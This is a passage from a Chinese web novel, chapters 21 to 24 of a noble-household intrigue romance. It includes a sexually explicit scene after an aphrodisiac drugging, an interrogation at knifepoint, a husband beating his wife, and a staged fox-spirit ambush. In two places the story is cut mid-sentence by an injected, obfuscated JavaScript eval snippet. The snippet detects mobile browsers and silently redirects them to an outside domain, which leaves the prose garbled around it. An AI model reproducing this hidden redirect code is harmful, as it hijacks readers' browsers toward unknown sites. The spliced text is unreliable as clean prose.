萧远峥在脚踏前蹲下,压着越来越急促的喘息声,抓住她两只脚腕就浸到水里,轻轻撩水浇了两下,就揉捏起来。 他的大手因自幼习武而有粗糙的茧子,弄的慕容鸾音脚心发痒,探手去推他紧扣着她脚腕的那只大手,“你疯了?我不要你洗了,放开。” 萧远峥抬起眼,缓缓举起她一只玉雪玲珑的脚,“晚了。” 四目相对,慕容鸾音几乎被他那双被情0欲浸染的猩红的眼睛溺毙。 忽的,他低头就咬了一口。 慕容鸾音轻叫一声,心口一荡,脸红的滴血,“你、你……放开我!” 萧远峥低笑,越发抓紧。 “嘘。” 慕容鸾音蓦的咬住袖口红绒,仰面倒下,怎么都合不拢腿,绯红睡裙下藏了滚灯一般,她一只手搁在上面,似是想推,又浑身酥软的使不上力气,只腰肢款摆,芙蓉泣露,凭君去,弄到深深凹甜处。 他今夜真疯了不成? 外头,碧荷守着门把冬青等回来,怕她莽撞闯进堂屋去,就赶忙拉到茶房,把她走后院内发生的事情说了一遍。 冬青先是把冬葵茯苓都问了一遍,知道她们真没被占了便宜去就放下心来,懊悔的直拍大腿,“周大娘留我吃柿饼,我就不该贪嘴,又多说了好些话,这才耽误了。” 碧荷摇摇头,道:“周大娘住的地方离咱们瑞雪堂不近,便是你不吃柿饼,也赶不上。今夜得亏世子爷来的及时,也幸亏是世子爷亲手抓出去的,不然,咱们姑娘跳进黄河也洗不清。” 冬青略有些激动道:“以前我还当别人夸赞世子爷文武双全,文上没得说,武功上我一直怀疑是锦上添花的谬赞,可照你们说的,世子爷亲自动手断其臂,废其眼,那般狠辣利索,定是个高手无疑了。” 四个婢女凑在一块又说些闲话,月下西楼时,那屋里还没完,碧荷就让茯苓冬葵去睡,自己和冬青守夜,等着屋里叫水。 21.第021章 一顿毒打 待得萧远峥解了药性,已是蜡泪滴尽,鸡鸣破晓。 微微的天光透过窗纱落进屋内,那暖阁里,慕容鸾音一头青丝铺在软枕上,眼尾泪痕未干,唇瓣红肿,带着被疼爱了一夜的余韵沉沉睡去。 萧远峥紧紧攥着拳头,凝望许久才将胭脂红蝶恋花的纱帐放下,掖好后走了出去。 在碧纱橱内,戴冠更衣,罩上墨绿鹤氅,冷下俊容,大步流星直奔慎行堂。 慎行堂上,灯火通明,地上铺着一张草席,孙鼎正躺在上面,身上盖着一床薄被,眼睛敷了药粉,蒙着两圈白布条,折断的右臂也被用木板夹着固定住了。 萧远峰怕他疼死,又给灌了一碗老参汤,只等着萧远峥来审。 这会儿,孙鼎正闭着眼有气无力的呻吟。 孙香玉坐在一旁扶手椅上,已是哭了一夜。 不敢怨恨心狠手辣没人味儿的萧远峥,就埋怨萧远峰无能。 “他是正三品大理寺卿,难道你就不是正三品的虎贲左卫指挥使了?都是正三品,凭甚你那般怕他?!” 萧远峰瞧一眼天色,拿起下人送来的鲜肉酱包,三两口就吞了一个,闻言就道:“我的正三品是承祖父之荫,正三品大抵是到头了,可大哥的正三品是他自己挣的,正三品只是半山腰。你说的没错,我就是怕他敬他,你要是像我似的,被他从小揍到大,你也怕。你若不怕,一会儿大哥来审问,你就护在你兄长前面,我敬你是巾帼豪杰。” 孙香玉看着孙鼎身上穿的仆妇衣裳,腿肚子直颤,“都把我大哥折磨到这般地步了,还审什么?我可以做主,我们孙家不会上告的。” 萧远峰啃着酱肉包,头一回发现,他这自幼定亲的妻子竟是如此徒有其表的狂妄蠢货,当发现了这一点之后,再去看她那张曾令他痴迷的脸蛋时,竟觉她五官歪斜,有些丑陋了。 当下,手里最爱的鲜肉酱包也不香了,抬头瞥见萧远峥大步而来,立时就把啃了一半的包子扔回盘子里,起身端起摆在手边的黑漆茶托盘,迎上去就道:“大哥,我搜了一遍他身上,除了刺杀你的这把匕首,又搜出一块浸了药的巾帕,两包药,一包是迷药,另外一包不知是什么东西,等您审问。” 萧远峥拿起沾血的匕首,走到孙鼎头顶蹲下,悬匕首于他眉心,“起因、经过,药物从何处得来,还有你身上这一套我们国公府壮妇所穿的酱色褙子、裙衫,是谁提供给你的,从你起歹心开始说,越详细越好,我会派人一一查证,若有一处不实,我只好不顾姻亲情分,按律处置你,关进大理寺狱,凌迟处死,如何?” 萧远峰用眼神示意孙香玉,你说话呀,你顶在前头啊。 孙香玉捂着腹部,冷汗涔涔,她哪里敢! 孙鼎眼珠子上翻盯着匕首尖尖,生怕萧远峥“不小心”松开手,那尖尖一下子插进他眉心,当即就嘴唇哆嗦着道:“药、药是巫婆子那里求的,我们住在同一条巷子里,是个走街串巷什么都干的老虔婆。一包是迷药,一包叫、叫如意散,老虔婆说,只要吃了看谁都是心里爱的,吃了的那个如意,用药的也如意。” 萧远峰听罢,恨的破口大骂:“下流恶畜!” “你记着这个巫婆子,报官查办。” 萧远峰连忙应“是”。 彼时,萧远峥手里刀尖已刺破孙鼎眉心,孙鼎身子一抖屙出一泡尿来,哀嚎道:“我说,我都说出来,我这身衣裳是我妹妹给的。” 孙香玉挺起腹部就急的撇清,哭道:“长兄为父,他问我要,我不敢不给,何况只是一身不值钱的仆妇衣裳,他拿去做什么用,我真真不知道。” 萧远峥看向萧远峰,萧远峰看一眼孙香玉故意高高挺起的腹部,攥紧拳头挡在她前面,低着头道:“大哥,她是我三个孩子的母亲,她的错,您罚我吧。” “你的妻子有错,你自己教。” “谢大哥。” 随后,孙鼎又把宋大福咬了出来,“是他说,您厌弃世子夫人,团圆夜不在正房歇宿,去和表妹偷情,又说了好些世子夫人的荤话,我猪油蒙心才起了歹念。世子爷,都是那宋大福惹出来的,您可不能放过他呀!” 萧远峥站起身,把匕首放回黑漆茶托盘,打开两包药捻出一点来查看了一回,迷药不稀奇,倒是这如意散头一回听说,改日寻个死囚试药,真假一验便知。 “你这妻兄,从此以后禁止踏入府中一步。一旦被我发现,我这长兄替你做主休妻如何?” 一边说着一边把两包药粉收入袖袋,眉眼冷肃,望着已然大亮的天光,淡淡扔下一句“我去给老夫人请安”,径直而去。 留下萧远峰僵在那里垂头丧气,孙香玉感动落泪去牵他的手,却被猛地甩开。 · 瑞雪堂内,明媚的日光已洒满暖阁。 慕容鸾音躲在纱帐内,低头瞧着自己胸脯上明显的指痕,想起昨夜种种荒唐行径,不由得想,萧远峥莫不是被什么色中饿鬼附身了吧。 这时茯苓面上带笑的走到床前,隔着纱帐道:“姑娘起了吗?” “起了。”慕容鸾音听出她语气里带着隐隐的激动,不由得笑道:“有高兴的事儿?” 茯苓连忙笑道:“福寿堂似是出事了,今儿一早峰二爷带着人把宋嬷嬷一家子都抓去了慎行堂。” 慕容鸾音一听,连忙坐起,系上衣带,“这倒是奇了,峰二爷吃了熊心豹子胆不成,竟敢抓老夫人最倚仗的陪房。” 茯苓听见纱帐内有了起身的动静,这才上手拢起床帘挂到玉勾上,笑道:“听见说是宋嬷嬷蛊惑老夫人做了一件什么错事,被世子爷知道了,世子爷来了个‘清君侧’,老夫人也没奈何。” 一边说着,一边招手让小丫头们进来服侍洗漱。 片刻后,慕容鸾音坐到妆镜台前梳妆,禁不住好奇又问道:“那宋嬷嬷一家子定下怎么处置了没有?” “奴婢见您还不想起床,就到慎行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14390684|152632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂那边看了一回热闹,峰二爷坐镇,让两个长随重重打了宋大福五十板子,峰二爷传世子爷的令,一家子都给撵到庄子上去了,不过到底宋嬷嬷的男人是有功的,世子爷特意又说,他们一家子在府中所得,经搜检后可以带走,每月还会给宋嬷嬷一份养老钱,直到宋嬷嬷亡故为止。” 慕容鸾音戴上一对花丝镶嵌绿松石的孔雀开屏耳坠子,笑道:“不愧是他,宋嬷嬷一家子虽仗着有功,又仗着是老夫人的陪房,跋扈霸道,但其夫到底是实实在在为老公爷挡过箭的,罚过之后的这份优待,是为了不寒了那些忠心侍主之人的心,处置的极妥当。” “只是……”慕容鸾音拿起梳子稍作沉吟,露出一抹讥嘲来,“老夫人可不像耳根子浅的人。” 茯苓点头附和,大着胆子道:“奴婢跟着碧荷姐学了一个较简单的小盘髻,今儿我给姑娘梳头可好?” “有何不好。”慕容鸾音把梳子递给她,“随你心意,梳吧,若梳的好有赏。” “奴婢才不要赏,姑娘给的够多了。” 主仆两个正闲话着,蕊儿疾步走了进来,两只眼睛睁的大大的,又惊又怕,“夫人夫人,云屏跪在院门外喊救命,说岱四爷诬赖岱四奶奶偷人,要打死她。” “什么?!”慕容鸾音震惊,蓦的扭头看向蕊儿,茯苓正轻抓着她一缕头发呢,一下子扯紧,疼的慕容鸾音“哎呦”一声。 “奴婢该死。”茯苓慌忙松手,满面愧悔。 “无事,你快快梳好。”慕容鸾音气的攥紧拳头,“我得去救岱四奶奶。你们世子爷怎么会有这等淫i乱无耻,颠倒黑白的兄弟!” “是、是。” 那边厢,罗慧心被萧远岱在屋里打的受不住,逃到院子里喊救命,被满身酒气的萧远岱追出来,一把揪住发髻,挥起大手来照着她红肿的脸又是两下子。 “我就纳闷,怎么就不许我近身了,原来是背着我有了相好的,染了一身脏病回来,我成了绿王八了,打死你这个淫i妇!” 宋姨娘原本抱着一岁不到的麟哥儿躲在厢房里哭,待得透过窗户瞧见萧远岱那般折辱罗慧心,想到素日里罗慧心待她的那些好,把孩子交给锦书,一咬牙奔了出去,跪到萧远岱脚边就哭道:“婢妾身上也有和四奶奶一样的病症,锦书也有,我们都背着您偷人了不成?” 萧远岱一边揪扯着罗慧心的发髻不放,一边抬起脚来狠踹了宋姨娘心窝子一下,“你也不是个好东西,她不许我近身,你有样学样,护拢着锦书也不许我碰,既然你们也得了一样的脏病,说不得就是合谋一块偷的人,待我打死了手里这个淫i妇,再来打死你们两个淫i妇!” 满院子仆妇嬷嬷,听得说是岱四奶奶偷人才挨了这一顿毒打,一时都不敢上前拦,却又怕真出了人命,她们也受牵连,就忙忙的跑出去报到上房老太太处。 慕容鸾音慌急赶来,见他如此恶行,当即怒骂:“我看你才是真正淫恶孽畜!” 22.第022章 为你作证 “我当是谁。”萧远岱脚步踉跄了一下,乜斜眼打量慕容鸾音,调笑道:“原来是阿音表妹,独守空闺的滋味不好受吧,当初何如嫁给我。” 若是放在从前,慕容鸾音听他如此说,定会心生害怕,一怕被传闲话,二怕惹了萧远峥不高兴。 但此时,她的心境早已不同,顿时冷笑道:“冬青,给我扇他,扇他那张随口喷粪污人清白的臭嘴!” 冬青素有侠气,甫一看见岱四奶奶被打的那个可怜样儿,早已攥起了拳头,听得这声吩咐,如闻太上老君敕令一般,飞奔上去,一把揪住萧远岱的发髻,照着那张人模狗样的脸就是啪啪两巴掌。 “贱婢,尔敢打我!” 慕容鸾音把跌坐在地上的罗慧心搀扶起来,怒道:“冬青就是我的手,是我打的你,我身为世子夫人,又是你长嫂,如何打不得你!你仗着醉酒遮脸,青天白日,把为你生育了长子的原配正妻揪着头发拉到院子里打,一点不顾她的脸面,你还算是个人?!既不是人,路见不平者,皆可痛打你一顿!” 冬青的两巴掌下去,萧远岱的脸登时就红肿了,也把他打醒了,清醒过来后就仗着男子力气上的优势和冬青撕扯起来。 “我呸!你烂泥巴糊墙——表面光。那淫i妇没有脸面,你就有了不成,昨夜我虽不在家,却也早就知道,团圆夜世子爷在别人床上!” “你放屁,昨夜世子爷在我们瑞雪堂,一整夜都在!”冬青原本顾虑着他再是如何混蛋终究是主子,不敢下重手,此时一发狠,握掌为拳,重击其腹。 萧远岱“嗷”的一声缩成虾米,跪倒在地。 慕容鸾音顿觉脸皮发烫,呵斥道:“冬青住嘴。” 这时,画屏才敢抱着吓的哇哇大哭的麒哥儿出现在正房门口。 “娘,我要娘。” 罗慧心抬起被乱发遮蔽的肿脸,透过缝隙看了看嗓子都哭哑了的孩子,又看向院内院外站着看热闹,指指点点的那些仆婢嬷嬷们,她想,若今日不能澄清自己的清白,他日麒哥儿懂事了,必会被人讥笑: 看啊,就是他娘偷人,被他亲爹揪着发髻抓到院子里挨了一顿毒打,说不得他也是个野种。 不,她绝不能让孩子抬不起头来!也绝不能因遵循妇道,替眼前这脏烂淫棍背下莫须有的罪名! “萧远岱,你莫要攀扯世子夫人。”罗慧心把乱发拨到脑后,缓缓直起腰,目光坚定,“昨日八月十五,你接了外面粉头给你写的花笺,一大早出去,今日午时才醉醺醺的回来,一回来就说,我不让你碰,定是因为我偷人,分明是你耳根子软,听信了外头那些女人的挑唆,故此一回到家就看我们这些家里的女人不顺眼,动手打骂。萧远岱,我罗慧心自嫁给你,恪守妇道,三从四德,没有一处对不起你,反倒是你,在外眠花宿柳,染了一身脏病又传染给了我们,到头来却颠倒黑白,污蔑我们妻妾背着你偷人,我敢请世子爷一判黑白,我更愿意以死证清白,你敢吗?!” 一番义正言辞之语落地,罗慧心拔下头上金簪就抵在自己脖子上,“今日,你若不能还我清白,我就死在你面前!” 慕容鸾音连忙道:“你傻不傻,要证清白何须自己死,其一世子爷不会包庇任何人,他定能判你清白,其二,纵是世子爷真的被恶鬼附身不辨黑白了,你拿金簪子刺他呀。” 萧远岱不是那么疼了,缓缓爬起来就冷笑道:“我是包粉头逛青楼,可我敢承认我就是这么个东西,我不像世子爷,明明心里想的要命,还得老夫人设个局,又是美酒又是媚药的,硬往他嘴里塞,他这才顺水推舟‘被迫’笑纳。好个伪君子!” 慕容鸾音听的稀里糊涂的,厌恶的看着他道:“我看你是宿醉未醒,满嘴胡吣,先诬赖发妻清白,又诬赖老夫人设什么局,还骂世子爷是伪君子,好好好,我早已让人去静园请他出来主持公道,你等着!” “世子爷竟然在家?!”萧远岱心里生怯,此时真真彻底醒神了,急急忙忙描补道:“大嫂,不是我说的,是宋大福蹭我的花酒喝,他跟我说的,还掏出一块银元宝来跟那院里的鸨母买了一包药,还说是老夫人给他的银子,嘱咐说,他跟我好,才与我说,不让我告诉旁人。” 茯苓听出一点蹊跷来,就往前一步道:“四爷怕是还不知道,世子爷下令打了宋大福五十板子,宋嬷嬷一家子都被撵出去了。” 萧远岱吃惊不小,不由得想,世子爷这般狠吗?究竟昨夜与洛淑仪成了好事没有? “药,什么药?” 萧远岱见慕容鸾音问他,心想话已至此,再隐瞒也没意思了,就赔笑道:“嗐,跟鸨母买的能是什么好药。” 慕容鸾音心里咯噔一下,密密麻麻的刺痛起来,原来如此、原来如此…… 正在此时,老夫人倚重的大丫头喜平喝退挤在门口的人,沉着脸走了进来,“传老夫人的话,‘我们罗家的丫头,七出之条里面绝无可能有偷人这一条’,请四爷四奶奶到她老人家跟前分说明白。” 萧远岱摸摸鼻子,看一眼被他打的鼻青脸肿的发妻,又看一眼捂着心口,至今坐在地上起不来的爱妾,再次又看向被丫头们抱在怀里眼泪汪汪的一双儿子,心中生出愧悔来,臊眉耷眼跟在喜平后头先去了。 慕容鸾音见罗慧心发髻都散开了,嘴角裂开一道血口子,实在不像样,这般一路走到福寿堂还不知被多少人看了去,就提醒道:“我帮着你,重新梳头更衣,如何?” 罗慧心摸一下嘴角的血,登时倒抽一口凉气,摇摇头,极端平静的道:“已然是没有一点脸面了,何妨置之死地而后生。此时这幅样子正好,我倒要试试,萧氏的家规在萧远岱身上是否好使。” 话落,罗慧心郑重向慕容鸾音福身一礼,“对不住,到底还是把您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14398156|152632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牵扯进来了。” “我送你到福寿堂,你只管说是我下的诊断,我为你作证。” 从来都是锦上添花易,雪中送炭难。眼前明艳耀目的姑娘,明知会被牵扯进来,却仍然愿意站出来作证,可知她是真正品性高洁,可恨自己竟信了府内流言,曾经对她抱持偏见,敬而远之。 一时之间,心中似有万千懊悔都化作两行感激的泪,“多谢您。” · 福寿堂上,老夫人端坐在高榻上,穿一袭茄皮紫福禄寿灯笼锦氅衣,苍老的眼下那两片眼袋似糊上去的两块灰面,一张嘴薄薄两片,本就布满皱纹,此时她带着仇恨似的紧抿着,皱纹越发密集。 慕容鸾音甫一踏入福寿堂,抬眼瞥去,就察觉到这老夫人像是一夜没睡,又痛哭过一场的样子。 结合萧远岱说的那些话,想必昨夜她真给萧远峥下药了,但没有成功。 彼时,萧远岱跪在地上,垂着头道:“都是我多喝了酒,又听人挑唆了两句就冤枉了她,请您责罚。” “慧丫头,你怎么说?” 罗慧心跪下就道:“依府规,无故殴打妻妾,鞭十,罚跪祠堂半个月,他既承认是冤枉了我,那就依照府规惩戒,如此,方能让府中上下知道,我真真切切是清白的。” 萧远岱心里才升起的那点子愧疚一下子散了,怒道:“鞭十,你说的轻巧,慎行堂那蛇皮鞭子你没挨过,我挨过,一鞭子下去就皮开肉绽,险些没把我疼死。我本想着大事化小小事化了,不追究你一身脏病是怎么来的,你倒蹬鼻子上脸了。” 罗慧心恨的咬牙,“你果然还是颠倒黑白怀疑是我偷人染的病,分明是你和外头那些脏的臭的女人睡觉,把脏病染给我的!” 这时慕容鸾音站出来道:“四奶奶说的不错,的确是四爷传染的,此病名为男有女显夫妻病,即,多是男子在外淫行无忌,与得病的男女行房被传染了,但由于男子身体康健壮硕,短时间内不会外显出来,但妻妾身子娇弱,往往会先一步显现病症。” 萧远岱急的蹦起来,“你胡扯,闻所未闻有这样的怪病,定是你为了维护罗慧心故意栽赃我,好啊好啊,我也要请世子爷一判清白。” 慕容鸾音早把何赛仙那本《妇人经》仔仔细细复习过一遍了,故从容道:“看你眼白浑浊,眼袋发青,你应该也有一点外显了,可有尿频尿疼的症状?” 萧远岱顿时僵在那里,脸皮一点点涨红,夹了夹大腿,嘴硬道:“没、没有,我好着呢,我梳笼的都是清倌人!” “哦,果真吗?”慕容鸾音讥笑道:“或许,你已经意识到自己还有更严重的症状了,我有可以治你病的方子,已交给四奶奶了,你去求她吧。” 头顶老夫人越看慕容鸾音那张明显被滋润过的娇艳脸蛋越恨,根本没听他们说什么,抓起手边茶盏,照着脸就狠狠掷了过去。 23、第023章 白狐拜月 慕容鸾音的目光一直在萧远岱身上,并未分出心神来留意老夫人。但罗慧心跪在前头,生怕老夫人不顾她的名声而选择偏袒亲孙子,故此一直留意她脸上神色,但见她一双老眼,从始至终都恨毒的瞪着慕容鸾音,心里警醒,甫一瞧见她的动作,直起身子就高举双臂拦在了前头。 茶杯正擦着她右臂斜飞了出去,“哗啦”一声摔碎在慕容鸾音脚边。 只差那么一点就砸脸上了! 老夫人气的重重一拍小几,指着罗慧心的鼻子就骂:“你何时和她勾搭上了,吃里扒外的东西,既如此,你也不必再提府规,分明是你醋坛子打翻了,嫉妒他外面的女人,犯了七出之条,他打你师出有名,你活该挨一顿打,什么名声不名声,稀里糊涂跟他回去过日子去吧。” 慕容鸾音气道:“倘若老夫人带头不遵府规,是不是打明日起,我们偶尔一回起床晚了误了请安时辰,也不用罚了?与长辈顶嘴,更不用罚了?” “规矩都是人定的,我难道不是府里的老祖宗,老东西能定规矩,我就能改。”老夫人听得她说“起床晚了”四个字,立时横眉怒目,“我一番筹谋,未曾想给你作了嫁衣裳,昨夜可算是欲i仙欲死了一回吧!” 慕容鸾音瞳孔骤缩,刹那间脸皮涨红。 萧远岱跪在那里,瞠目结舌,这、这竟是老夫人能说出来的话?竟和院里老鸨不相上下了。 罗慧心此时已是愧悔到了极点,“世子夫人,都是我连累的你,我唯有以死证清白了。” 话落,站起来就一头拱向一旁的柱子。 慕容鸾音眼疾手快一把揪住她的衣袖,“我们不能死,死了才称她的意了。事已至此,唯有去悬天观请老公爷回来主持公道了,在我回来之前,千万不要做傻事。” 话落,提起裙子就向外跑去。 “你去、你去!”老夫人望着慕容鸾音离去的背影,大声哭骂:“那老东西死了,早死在外头了,他生生拆散了一对有情人啊,我诅咒他发烂长蛆,不得好死!” 罗慧心希冀着慕容鸾音能把老公爷请回来压制老夫人,见她此时崩溃发疯,忙忙的躲了出去。 萧远岱也觉毛骨悚然,紧跟在罗慧心后面溜了。 却说慕容鸾音将将跑出福寿堂的院门,就和找过来的碧荷碰上了。 碧荷连忙道:“姑娘,观棋说,世子爷早上就被皇帝急召进宫去了。” “不指望他了。老夫人疯了,孝道压在上面,他来了也无用。冬青,你跑快些去通知车马房套车。” “是!” · 日已落,月初升,苍白的月光洒遍大地,远远看去,山峦如兽,青松翠柏掩映着一座冷寂的道观,红漆木门之上挂着一块白底黑字的牌匾,上面錾刻着“悬天观”三个草书字体。 急促的扣环声打破了这座道观的冷寂,少顷门内就传出一道凶恶的男声,“私家道观,勿扰,滚。” 冬青顿时气的叉腰大吼,“放肆,这回是世子夫人亲自来拜见老公爷,快开门!” 门内一霎没了动静,过了一会儿同一个声音却用谄媚的语气道:“您稍等,小的立刻去请黑伯。” 冬青气笑了,“你倒是先把门打开让我们进去喝口水啊,天都黑了,城门也关了,我们只能在这里住一晚上。” 山风肃杀,吹的人脸皮发干,慕容鸾音重又把观音兜戴好,耐着性子道:“悬天观是他老人家的私人领地,许是规矩如此,等等吧。” 约莫过了一盏茶的功夫,门从里面打开,黑伯背手在后牵着一匹大黑驴子走了出来,大黑驴子脖子上挂着一套弓箭,背上驮着鼓鼓囊囊的褡裢, “音丫头呀,这么晚过来,想必是府里出大事了,我跟你回去一趟吧。” 慕容鸾音连忙向他身后望去,一片漆黑,竟是一盏灯笼都没点。 “黑伯,城门关了,咱们只能明日回去,就让我在观里住一宿,我想给舅外祖请个安,他老人家难道就不想念我亲手熬的莲子羹,我可是得了祖母的真传,最合舅外祖的口味了。” 这时,黑伯和驴子都走出了观门,紧接着就有人从里面把门关上,落了锁。 慕容鸾音杏眼瞪大,“怎么、怎么就把门锁上了?我还在外面呢。” 黑伯牵着大黑驴,沿着青石铺就的山道往下走,边走边笑道:“请什么安呀,老主子辟谷清修呢,不到日子不能出来,否则功亏一篑又要重来,越发回不了家了。” 慕容鸾音眼看着是进不去道观的门了,只好追上黑伯,忧心道:“舅外祖的身体到底如何了,怎么就不让人见呢。” 黑伯佯装生气,“想必是我生了奸邪把老主子害死了,故意拦着不让你们见的。” 慕容鸾音连忙去挎他的胳膊,撒娇道:“您是与舅外祖歃血盟誓的家臣,最是赤胆忠心的,怎么可能会生谋害之心。黑伯您别恼我,是我说错话了还不行嘛。” 黑伯叹气道:“老主子近年来迷上道学了,痴心钻研起来谁也不想见,随他去吧。你既说我是与老主子歃血盟誓的家臣,那么,老主子不在,我就是老主子的替身了。你瞧这是什么?” 说着话,敞开袖口把一方四爪正蟒赤金印章露给慕容鸾音看,“如何,有此物加持,可够用了?” 慕容鸾音大喜,连连点头,心想,有了这方郧国公印,又有黑伯亲至,且看那失心疯的老夫人如何收场。 “这十六的月亮倒比十五的更圆更亮,月光下行路,不用点灯笼也能看清路面,下了山,上了官道,往前十里就有一家农家客院,到那里将就一夜吧,明儿城门一开就回家,谁欺负了你,黑伯都替你做主。” 这一刻,山野秋风虽冷,但慕容鸾音却忽觉浑身都暖融融的,禁不住撒娇道:“黑伯,我脚疼,能请您的坐骑驮我一程吗?” 黑伯顿时被逗笑了,抱起慕容鸾音就送上了驴背,“那是它的荣幸。” 到了山下,慕容鸾音觉得骑驴有趣就没坐车,而是让碧荷冬青上去了。 如此,慕容鸾音坐在驴背上,黑伯在前头慢悠悠的牵着,月下行路,慕容鸾音也一五一十的把府中发生的事情都说了一遍。 约莫在官道上优哉游哉的行了一炷香的功夫,忽闻马蹄狂奔的动静,黑伯一霎眯起眼,望向前方奔来的三人三骑,抓起了长弓。 车里的冬青听到动静,立时从车厢里出来,蹲踞在车板上,拔出了匕首。 慕容鸾音也紧张起来,循声望去,领头那人高束马尾长发,披着猩红的披风,骑着一匹白马,风烈烈,马潇潇,飒沓如流星,近了、近了,原来是他,又不是他。 慕容鸾音抹掉心头升起的那一点酸涩,扬声笑道:“好巧,萧大人,这么晚了还出城公干呀。” 萧远峥看见慕容鸾音骑在驴背上,安然无恙,笑眼盈盈,吐出一口浊气,调转马头就在前引路,赵荆、阎大忠在两侧护卫。 黑伯把弓箭挂回驴脖子上,笑道:“他又惹着你了,你这么气他,分明是来接你的。” “我岂敢自作多情。”慕容鸾音瞪着萧远峥的后背,翻个白眼,随即看向天上满月。 “少主子,少夫人都把府里发生的事情跟老奴说了,您这‘克己慎独,守心明性’之术修习的越发好了,老主人若是知道,心里定然高兴。” 萧远峥望着前方霜灰色的道路,淡淡道:“祖父教得好。” 慕容鸾音听的云里雾里,禁不住看向黑伯,开口问道:“你们……” 却在此时,被那边山丘上蹲踞着的东西吸引了目光,杏眸蓦的瞪大,颤声低呼,“狐、狐精拜月?!” 萧远峥察觉异样,蓦的回眸,顺着慕容鸾音目光所及之处看去,就见不远处山丘上蹲踞着一只一人多高的狐狸,正对月吐珠。 彼时,众人都已瞧见,各个悚然,屏息凝神。 黑伯面色肃穆,低声道:“敬鬼神而远之,莫要惊扰了它,只当没看见,快走。” 话落,就把慕容鸾音抱下驴背,送上了马车,马车上冬青立马抱腰接住送进了车厢。 就在此时,那狐狸吞珠入腹,睁着一双血红眼睛缓缓向他们跑来。 慕容鸾音透过车窗缝隙看到,吓的寒毛直竖,“它、它怎么冲着咱们的马车来了。” 萧远峥策马来到大黑驴一侧,挡住慕容鸾音的视线,探手取走驴脖子上的弓箭,搭箭上弦,蓄势待发。 官道两侧有水渠,那狐狸跳到水渠上蹲着,众人便看清它毛发雪白,是一只红眼大白狐。 “大理寺卿萧远峥。” 白狐开口,其声幽媚,第一句话竟就喊出了萧远峥的官位和姓名,众人悚然惊惧,鸡皮疙瘩都起来了。 “我乃狐仙,念你断案如神,为百姓伸冤,做了许多好事,功德加身,特意等在此处挽救你的性命,你得罪了真仙,若能及时收手脱身,方能化险为夷。若一味儿愚忠,将有灭门之祸,而你也将死无葬身之地。” “装神弄鬼!” 说时迟那时快,萧远峥扣弦的手指蓦的松开,利箭破空而去,直指“白狐”胸窝。 24、第024章 佛堂 不想那白狐,非但不跑,还弹射飞起向萧远峥扑杀而来,萧远峥预判错误,一箭射空,电光火石,再次双箭齐发,洞穿白狐身体,那白狐于半空中忽的无火自燃,爆出大量散发难闻气味的白烟。 萧远峥眼看着那烧成火球的白狐向他扑来,猛地一拍马脊,跃上车顶,马受惊向前狂奔,车夫连忙扯紧缰绳,发出“吁”声安抚。 其他人等,见那白狐变作火球袭来,各自散开。 与此同时,白狐火球扑杀不成,重摔在地,仰天大啸,“劫波渡尽,我成仙了——” 狂啸后,似是才切实的感觉到血肉被火焰焚烧的痛苦,嘶声唳叫,满地打滚。 “救我、救我……啊——” 那边厢,车夫控制住了惊马,萧远峥跃下车顶,掀起车帘向内望去,正与也想要掀起帘子查看情况的慕容鸾音目光相撞。 慕容鸾音急忙抿住嘴,把想要脱口而出的那句“你无事吧”咽回肚子,猛地推开他就探出头来向后看去,关切呼喊,“黑伯、黑伯你受伤没有?” “黑伯好着呢,别担心。” 蓦的,慕容鸾音闻到熏人的臭气,连忙捂住口鼻,高声提醒,“黑伯,这烟有毒,不要吸入!” 黑伯是经验老道之人,甫一闻到臭气就屏住了呼吸,此时经慕容鸾音提醒就赶紧又退后几步,离那满身黄白火焰,凄厉鬼叫的“白狐”更远些。 这时,“白狐”站起,踉踉跄跄走向水渠,一头扎进去,“噗通”一声整个身体都沉入水中,火焰遇水而熄,“白狐”将将露出水面,黄白火焰顷刻复燃。 当“白狐”再度把自己完全沉入水中,就再也没浮上来。 待得空气中臭气消失,萧远峥靠近水渠,就见那“白狐”已成黑乎乎一团横尸。 “把尸体捞出来。” 赵荆阎大忠领命。 黑伯走到萧远峥身畔,提醒道:“此处不宜久留,前方不远就有一家农家客院,我们到那里歇脚,你也好验尸寻找线索。” “正有此意。”萧远峥见赵荆用铁爪勾着尸体捞出放在地上,就向马车走去,轻敲车窗,“可有薄被地毯等能用来包裹尸体之物?” 慕容鸾音知道这是要紧事,就撇开个人私情,望着脚下踩着的漳绒花毯道:“出来的匆忙,没带铺盖,把铺在车厢里的地毯给你吧。” “可。” · 明月皎洁,夜凉如水。 郧国公府内,岱四爷院,正房里灯火通明。 罗慧心把自己省吃俭用积攒的体己钱和值钱的首饰都收拢到一个描金彩绘方匣子里,郑重交到宋姨娘手里,道:“咱们两个一块在这院子里和和美美生活了两年,我知你为人老实本分,善良可敬,若明日世子夫人请不来老公爷为我主持公道,洗清污名,我已决心以死证清白,你替我看顾着些麒哥儿。” 宋姨娘颤着两手托住匣子,哭着问道:“四奶奶,真要走那条路吗?何不忍辱负重,好死不如赖活着。” 罗慧心笑道:“我祖上也曾是开国侯,我的祖宗曾以刚烈忠贞而闻名,如今虽败落了,但我想效仿祖宗,再让世人知我罗氏风骨。” 在一旁摇椅上躺着的萧远岱见罗慧心竟真的开始托付后事,一下子跳将起来,急怒交加,“何至于此,自你嫁给我,我只打过你这一次吧,怎么就如此恨我了,一定要我挨一顿鞭子才罢休,你一个内宅妇人委屈一下又如何?” 